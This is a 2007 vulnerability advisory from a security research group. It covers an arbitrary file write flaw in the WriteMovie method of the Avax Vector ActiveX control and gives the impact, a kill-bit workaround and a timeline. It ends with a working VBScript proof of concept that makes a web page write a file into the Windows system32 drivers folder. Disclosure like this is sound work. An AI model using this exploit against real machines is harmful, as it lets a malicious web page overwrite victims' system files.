:. GOODFELLAS Security Research TEAM .:
:. http://goodfellas.shellcode.com.ar .:

Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data
Write

Internal ID: VULWAR200706264

Introduction

Avaxswf.dll is a library included in the Avax Vector ActiveX v.1.3
software package from the Company Civitech.
( http://business.hol.gr/gardos/index.htm )
Such package include ActiveX control (OCX) that includes over 500
properties, methods, and events to provide full control over vector
drawings. One of the Avaxswf.dll exported methods is vulnerable to Data
write arbitrary in a remote computer.

Tested In

• Windows XP SP2 english/french with IE 6.0 / 7.0.
• windows vista Professional SP1 with IE 7.0.

Summary

The WriteMovie method doesn't check if it is being called from the
application or from a malicious user.

Impact

The vulnerability is due to an error in WriteMovie method that
manipulate local files insecurely, which could allow malicious users to
write arbitrary data to any file on a vulnerable system.

Workaround

• Activate the Kill bit zero in
  clsid:0DD77391-686B-11D4-B367-D4475FDFF33A.
• Unregister Avaxswf.dll using regsvr32.

Timeline

June 26, 2007 – Bug discovery.
June 26, 2007 – Bug published.

Credits

• callAX <[email protected]>
• GoodFellas Security Research Team <goodfellas.shellcode.com.ar>

Technical Detail

WriteMovie method receives one argument filename in this format
"c:\path\file".

POC

<object classid='clsid:0DD77391-686B-11D4-B367-D4475FDFF33A'
id='wRit3'></object>
<input language=VBScript onclick=Boom() type=button value="Write">

<script language = 'vbscript'>

sub Boom()

f1l3 = "C:\WINDOWS\system32\drivers\hackme.sys"

wRit3.WriteMovie f1l3

End Sub

</script>

–
GOODFELLAS (Shellcode Security Research)
http://goodfellas.shellcode.com.ar